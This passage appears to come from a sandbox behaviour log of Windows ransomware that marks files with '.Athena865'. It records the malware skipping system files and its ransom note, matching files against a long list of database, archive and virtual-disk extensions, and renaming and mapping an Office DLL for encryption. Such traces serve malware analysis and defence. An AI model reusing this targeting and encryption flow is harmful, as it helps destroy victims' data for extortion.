hHeap=0x4f0000) returned 1 [0114.936] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0114.951] CloseHandle (hObject=0x154) returned 1 [0114.952] CloseHandle (hObject=0x17c) returned 1 [0114.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0114.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519cc8 | out: hHeap=0x4f0000) returned 1 [0114.952] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0114.967] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0114.967] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0114.967] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0114.967] lstrcmpiW (lpString1="SERCONV.DLL", lpString2=".") returned 1 [0114.967] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="..") returned 1 [0114.967] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="windows") returned -1 [0114.967] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="bootmgr") returned 1 [0114.967] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="temp") returned -1 [0114.968] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="pagefile.sys") returned 1 [0114.968] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="boot") returned 1 [0114.968] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="ids.txt") returned 1 [0114.968] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="ntuser.dat") returned 1 [0114.968] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="perflogs") returned 1 [0114.968] lstrcmpiW (lpString1="SERCONV.DLL", lpString2="MSBuild") returned 1 [0114.968] lstrlenW (lpString="SERCONV.DLL") returned 11 [0114.968] lstrcpyW (in: lpString1=0x241e8b8, lpString2="SERCONV.DLL" | out: lpString1="SERCONV.DLL") returned="SERCONV.DLL" [0114.968] lstrlenW (lpString="SERCONV.DLL") returned 11 [0114.968] lstrlenW (lpString="Athena865") returned 9 [0114.968] lstrcmpiW (lpString1="RCONV.DLL", lpString2="Athena865") returned 1 [0114.968] lstrlenW (lpString=".dll") returned 4 [0114.968] lstrcmpiW (lpString1="SERCONV.DLL", lpString2=".dll") returned 1 [0114.968] lstrlenW (lpString=".lnk") returned 4 [0114.968] lstrcmpiW (lpString1="SERCONV.DLL", lpString2=".lnk") returned 1 [0114.968] lstrlenW (lpString=".ini") returned 4 [0114.968] lstrcmpiW (lpString1="SERCONV.DLL", lpString2=".ini") returned 1 [0114.968] lstrlenW (lpString=".sys") returned 4 [0114.968] lstrcmpiW (lpString1="SERCONV.DLL", lpString2=".sys") returned 1 [0114.968] lstrlenW (lpString="SERCONV.DLL") returned 11 [0114.968] lstrlenW (lpString="bak") returned 3 [0114.968] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0114.968] lstrlenW (lpString="ba_") returned 3 [0114.968] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0114.968] lstrlenW (lpString="dbb") returned 3 [0114.968] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0114.968] lstrlenW (lpString="vmdk") returned 4 [0114.968] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0114.969] lstrlenW (lpString="rar") returned 3 [0114.969] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0114.969] lstrlenW (lpString="zip") returned 3 [0114.969] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0114.969] lstrlenW (lpString="tgz") returned 3 [0114.969] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0114.969] lstrlenW (lpString="vbox") returned 4 [0114.969] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0114.969] lstrlenW (lpString="vdi") returned 3 [0114.969] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0114.969] lstrlenW (lpString="vhd") returned 3 [0114.969] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0114.969] lstrlenW (lpString="vhdx") returned 4 [0114.969] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0114.969] lstrlenW (lpString="avhd") returned 4 [0114.969] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0114.969] lstrlenW (lpString="db") returned 2 [0114.969] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0114.969] lstrlenW (lpString="db2") returned 3 [0114.969] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0114.969] lstrlenW (lpString="db3") returned 3 [0114.969] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0114.969] lstrlenW (lpString="dbf") returned 3 [0114.969] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0114.969] lstrlenW (lpString="mdf") returned 3 [0114.969] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0114.969] lstrlenW (lpString="mdb") returned 3 [0114.969] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0114.969] lstrlenW (lpString="sql") returned 3 [0114.969] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0114.970] lstrlenW (lpString="sqlite") returned 6 [0114.970] lstrcmpiW (lpString1="NV.DLL", lpString2="sqlite") returned -1 [0114.970] lstrlenW (lpString="sqlite3") returned 7 [0114.970] lstrcmpiW (lpString1="ONV.DLL", lpString2="sqlite3") returned -1 [0114.970] lstrlenW (lpString="sqlitedb") returned 8 [0114.970] lstrcmpiW (lpString1="CONV.DLL", lpString2="sqlitedb") returned -1 [0114.970] lstrlenW (lpString="xml") returned 3 [0114.970] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0114.970] lstrlenW (lpString="$er") returned 3 [0114.970] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0114.970] lstrlenW (lpString="4dd") returned 3 [0114.970] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0114.970] lstrlenW (lpString="4dl") returned 3 [0114.970] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0114.970] lstrlenW (lpString="^^^") returned 3 [0114.970] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0114.970] lstrlenW (lpString="abs") returned 3 [0114.970] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0114.970] lstrlenW (lpString="abx") returned 3 [0114.970] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0114.970] lstrlenW (lpString="accdb") returned 5 [0114.970] lstrcmpiW (lpString1="V.DLL", lpString2="accdb") returned 1 [0114.970] lstrlenW (lpString="accdc") returned 5 [0114.970] lstrcmpiW (lpString1="V.DLL", lpString2="accdc") returned 1 [0114.970] lstrlenW (lpString="accde") returned 5 [0114.970] lstrcmpiW (lpString1="V.DLL", lpString2="accde") returned 1 [0114.970] lstrlenW (lpString="accdr") returned 5 [0114.970] lstrcmpiW (lpString1="V.DLL", lpString2="accdr") returned 1 [0114.971] lstrlenW (lpString="accdt") returned 5 [0114.971] lstrcmpiW (lpString1="V.DLL", lpString2="accdt") returned 1 [0114.971] lstrlenW (lpString="accdw") returned 5 [0114.971] lstrcmpiW (lpString1="V.DLL", lpString2="accdw") returned 1 [0114.971] lstrlenW (lpString="accft") returned 5 [0114.971] lstrcmpiW (lpString1="V.DLL", lpString2="accft") returned 1 [0114.971] lstrlenW (lpString="adb") returned 3 [0114.971] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.971] lstrlenW (lpString="adb") returned 3 [0114.971] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0114.971] lstrlenW (lpString="ade") returned 3 [0114.971] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0114.971] lstrlenW (lpString="adf") returned 3 [0114.971] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0114.971] lstrlenW (lpString="adn") returned 3 [0114.971] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0114.971] lstrlenW (lpString="adp") returned 3 [0114.971] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0114.971] lstrlenW (lpString="alf") returned 3 [0114.971] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0114.971] lstrlenW (lpString="ask") returned 3 [0114.971] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0114.971] lstrlenW (lpString="btr") returned 3 [0114.971] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0114.971] lstrlenW (lpString="cat") returned 3 [0114.971] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0114.971] lstrlenW (lpString="cdb") returned 3 [0114.971] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0114.971] lstrlenW (lpString="ckp") returned 3 [0114.971] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0114.972] lstrlenW (lpString="cma") returned 3 [0114.972] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0114.972] lstrlenW (lpString="cpd") returned 3 [0114.972] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0114.972] lstrlenW (lpString="dacpac") returned 6 [0114.972] lstrcmpiW (lpString1="NV.DLL", lpString2="dacpac") returned 1 [0114.972] lstrlenW (lpString="dad") returned 3 [0114.972] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0114.972] lstrlenW (lpString="dadiagrams") returned 10 [0114.972] lstrcmpiW (lpString1="ERCONV.DLL", lpString2="dadiagrams") returned 1 [0114.972] lstrlenW (lpString="daschema") returned 8 [0114.972] lstrcmpiW (lpString1="CONV.DLL", lpString2="daschema") returned -1 [0114.972] lstrlenW (lpString="db-journal") returned 10 [0114.972] lstrcmpiW (lpString1="ERCONV.DLL", lpString2="db-journal") returned 1 [0114.972] lstrlenW (lpString="db-shm") returned 6 [0114.972] lstrcmpiW (lpString1="NV.DLL", lpString2="db-shm") returned 1 [0114.972] lstrlenW (lpString="db-wal") returned 6 [0114.972] lstrcmpiW (lpString1="NV.DLL", lpString2="db-wal") returned 1 [0114.972] lstrlenW (lpString="dbc") returned 3 [0114.972] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0114.972] lstrlenW (lpString="dbs") returned 3 [0114.972] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0114.972] lstrlenW (lpString="dbt") returned 3 [0114.972] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0114.972] lstrlenW (lpString="dbv") returned 3 [0114.972] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0114.972] lstrlenW (lpString="dbx") returned 3 [0114.972] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0114.972] lstrlenW (lpString="dcb") returned 3 [0114.973] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0114.973] lstrlenW (lpString="dct") returned 3 [0114.973] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0114.973] lstrlenW (lpString="dcx") returned 3 [0114.973] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0114.973] lstrlenW (lpString="ddl") returned 3 [0114.973] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0114.973] lstrlenW (lpString="dlis") returned 4 [0114.973] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0114.973] lstrlenW (lpString="dp1") returned 3 [0114.973] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0114.973] lstrlenW (lpString="dqy") returned 3 [0114.973] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0114.973] lstrlenW (lpString="dsk") returned 3 [0114.973] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0114.973] lstrlenW (lpString="dsn") returned 3 [0114.973] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0114.973] lstrlenW (lpString="dtsx") returned 4 [0114.973] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0114.973] lstrlenW (lpString="dxl") returned 3 [0114.973] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0114.973] lstrlenW (lpString="eco") returned 3 [0114.973] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0114.973] lstrlenW (lpString="ecx") returned 3 [0114.973] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0114.973] lstrlenW (lpString="edb") returned 3 [0114.973] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0114.973] lstrlenW (lpString="epim") returned 4 [0114.973] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0114.974] lstrlenW (lpString="fcd") returned 3 [0114.974] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0114.974] lstrlenW (lpString="fdb") returned 3 [0114.974] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0114.974] lstrlenW (lpString="fic") returned 3 [0114.974] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0114.974] lstrlenW (lpString="flexolibrary") returned 12 [0114.974] lstrlenW (lpString="fm5") returned 3 [0114.974] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0114.974] lstrlenW (lpString="fmp") returned 3 [0114.974] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0114.974] lstrlenW (lpString="fmp12") returned 5 [0114.974] lstrcmpiW (lpString1="V.DLL", lpString2="fmp12") returned 1 [0114.974] lstrlenW (lpString="fmpsl") returned 5 [0114.974] lstrcmpiW (lpString1="V.DLL", lpString2="fmpsl") returned 1 [0114.974] lstrlenW (lpString="fol") returned 3 [0114.974] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0114.974] lstrlenW (lpString="fp3") returned 3 [0114.974] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0114.974] lstrlenW (lpString="fp4") returned 3 [0114.974] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0114.974] lstrlenW (lpString="fp5") returned 3 [0114.974] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0114.974] lstrlenW (lpString="fp7") returned 3 [0114.974] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0114.974] lstrlenW (lpString="fpt") returned 3 [0114.975] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0114.975] lstrlenW (lpString="frm") returned 3 [0114.975] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0114.975] lstrlenW (lpString="gdb") returned 3 [0114.975] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0114.975] lstrlenW (lpString="gdb") returned 3 [0114.975] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0114.975] lstrlenW (lpString="grdb") returned 4 [0114.975] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0114.975] lstrlenW (lpString="gwi") returned 3 [0114.975] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0114.975] lstrlenW (lpString="hdb") returned 3 [0114.975] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0114.975] lstrlenW (lpString="his") returned 3 [0114.975] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0114.975] lstrlenW (lpString="ib") returned 2 [0114.975] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0114.975] lstrlenW (lpString="idb") returned 3 [0114.975] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0114.975] lstrlenW (lpString="ihx") returned 3 [0114.975] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0114.975] lstrlenW (lpString="itdb") returned 4 [0114.975] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0114.975] lstrlenW (lpString="itw") returned 3 [0114.975] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0114.975] lstrlenW (lpString="jet") returned 3 [0114.975] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0114.975] lstrlenW (lpString="jtx") returned 3 [0114.976] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0114.976] lstrlenW (lpString="kdb") returned 3 [0114.976] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0114.976] lstrlenW (lpString="kexi") returned 4 [0114.976] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0114.976] lstrlenW (lpString="kexic") returned 5 [0114.976] lstrcmpiW (lpString1="V.DLL", lpString2="kexic") returned 1 [0114.976] lstrlenW (lpString="kexis") returned 5 [0114.976] lstrcmpiW (lpString1="V.DLL", lpString2="kexis") returned 1 [0114.976] lstrlenW (lpString="lgc") returned 3 [0114.976] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0114.976] lstrlenW (lpString="lwx") returned 3 [0114.976] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0114.976] lstrlenW (lpString="maf") returned 3 [0114.976] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0114.976] lstrlenW (lpString="maq") returned 3 [0114.976] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0114.976] lstrlenW (lpString="mar") returned 3 [0114.976] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0114.976] lstrlenW (lpString="marshal") returned 7 [0114.976] lstrcmpiW (lpString1="ONV.DLL", lpString2="marshal") returned 1 [0114.976] lstrlenW (lpString="mas") returned 3 [0114.976] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0114.976] lstrlenW (lpString="mav") returned 3 [0114.976] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0114.976] lstrlenW (lpString="maw") returned 3 [0114.976] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0114.976] lstrlenW (lpString="mdbhtml") returned 7 [0114.976] lstrcmpiW (lpString1="ONV.DLL", lpString2="mdbhtml") returned 1 [0114.977] lstrlenW (lpString="mdn") returned 3 [0114.977] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0114.977] lstrlenW (lpString="mdt") returned 3 [0114.977] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0114.977] lstrlenW (lpString="mfd") returned 3 [0114.977] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0114.977] lstrlenW (lpString="mpd") returned 3 [0114.977] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0114.977] lstrlenW (lpString="mrg") returned 3 [0114.977] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0114.977] lstrlenW (lpString="mud") returned 3 [0114.977] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0114.977] lstrlenW (lpString="mwb") returned 3 [0114.977] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0114.977] lstrlenW (lpString="myd") returned 3 [0114.977] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0114.977] lstrlenW (lpString="ndf") returned 3 [0114.977] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0114.977] lstrlenW (lpString="nnt") returned 3 [0114.977] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0114.977] lstrlenW (lpString="nrmlib") returned 6 [0114.977] lstrcmpiW (lpString1="NV.DLL", lpString2="nrmlib") returned 1 [0114.977] lstrlenW (lpString="ns2") returned 3 [0114.977] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0114.977] lstrlenW (lpString="ns3") returned 3 [0114.977] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0114.977] lstrlenW (lpString="ns4") returned 3 [0114.977] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0114.977] lstrlenW (lpString="nsf") returned 3 [0114.978] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0114.978] lstrlenW (lpString="nv") returned 2 [0114.978] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0114.978] lstrlenW (lpString="nv2") returned 3 [0114.978] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0114.978] lstrlenW (lpString="nwdb") returned 4 [0114.978] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0114.978] lstrlenW (lpString="nyf") returned 3 [0114.978] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0114.978] lstrlenW (lpString="odb") returned 3 [0114.978] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0114.978] lstrlenW (lpString="odb") returned 3 [0114.978] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0114.978] lstrlenW (lpString="oqy") returned 3 [0114.978] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0114.978] lstrlenW (lpString="ora") returned 3 [0114.978] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0114.978] lstrlenW (lpString="orx") returned 3 [0114.978] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0114.978] lstrlenW (lpString="owc") returned 3 [0114.978] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0114.978] lstrlenW (lpString="p96") returned 3 [0114.978] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0114.978] lstrlenW (lpString="p97") returned 3 [0114.978] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0114.978] lstrlenW (lpString="pan") returned 3 [0114.978] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0114.978] lstrlenW (lpString="pdb") returned 3 [0114.979] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0114.979] lstrlenW (lpString="pdm") returned 3 [0114.979] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0114.979] lstrlenW (lpString="pnz") returned 3 [0114.979] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0114.979] lstrlenW (lpString="qry") returned 3 [0114.979] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0114.979] lstrlenW (lpString="qvd") returned 3 [0114.979] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0114.979] lstrlenW (lpString="rbf") returned 3 [0114.979] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0114.979] lstrlenW (lpString="rctd") returned 4 [0114.979] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0114.979] lstrlenW (lpString="rod") returned 3 [0114.979] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0114.979] lstrlenW (lpString="rodx") returned 4 [0114.979] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0114.979] lstrlenW (lpString="rpd") returned 3 [0114.979] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0114.979] lstrlenW (lpString="rsd") returned 3 [0114.979] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0114.979] lstrlenW (lpString="sas7bdat") returned 8 [0114.979] lstrcmpiW (lpString1="CONV.DLL", lpString2="sas7bdat") returned -1 [0114.979] lstrlenW (lpString="sbf") returned 3 [0114.979] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0114.979] lstrlenW (lpString="scx") returned 3 [0114.979] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0114.979] lstrlenW (lpString="sdb") returned 3 [0114.979] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0114.980] lstrlenW (lpString="sdc") returned 3 [0114.980] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0114.980] lstrlenW (lpString="sdf") returned 3 [0114.980] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0114.980] lstrlenW (lpString="sis") returned 3 [0114.980] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0114.980] lstrlenW (lpString="spq") returned 3 [0114.980] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0114.980] lstrlenW (lpString="te") returned 2 [0114.980] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0114.980] lstrlenW (lpString="teacher") returned 7 [0114.980] lstrcmpiW (lpString1="ONV.DLL", lpString2="teacher") returned -1 [0114.980] lstrlenW (lpString="tmd") returned 3 [0114.980] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0114.980] lstrlenW (lpString="tps") returned 3 [0114.980] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0114.980] lstrlenW (lpString="trc") returned 3 [0114.980] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0114.980] lstrlenW (lpString="trc") returned 3 [0114.980] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0114.980] lstrlenW (lpString="trm") returned 3 [0114.980] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0114.980] lstrlenW (lpString="udb") returned 3 [0114.980] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0114.980] lstrlenW (lpString="udl") returned 3 [0114.980] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0114.980] lstrlenW (lpString="usr") returned 3 [0114.980] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0114.980] lstrlenW (lpString="v12") returned 3 [0114.981] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0114.981] lstrlenW (lpString="vis") returned 3 [0114.981] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0114.981] lstrlenW (lpString="vpd") returned 3 [0114.981] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0114.981] lstrlenW (lpString="vvv") returned 3 [0114.981] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0114.981] lstrlenW (lpString="wdb") returned 3 [0114.981] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0114.981] lstrlenW (lpString="wmdb") returned 4 [0114.981] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0114.981] lstrlenW (lpString="wrk") returned 3 [0114.981] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0114.981] lstrlenW (lpString="xdb") returned 3 [0114.981] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0114.981] lstrlenW (lpString="xld") returned 3 [0114.981] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0114.981] lstrlenW (lpString="xmlff") returned 5 [0114.981] lstrcmpiW (lpString1="V.DLL", lpString2="xmlff") returned -1 [0114.981] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL.Athena865") returned 77 [0114.981] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll.athena865"), dwFlags=0x1) returned 1 [0114.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0114.983] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=591736) returned 1 [0114.983] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0114.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0114.984] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519cc8 [0114.984] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519c40) returned 1 [0114.984] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0114.984] CryptReleaseContext (hProv=0x519c40, dwFlags=0x0) returned 1 [0114.985] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x90a80, lpName=0x0) returned 0x154 [0114.987] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x90a80) returned 0x2d50000 [0115.014] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519c40) returned 1 [0115.015] CryptGenRandom (in: hProv=0x519c40, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0115.015] CryptReleaseContext 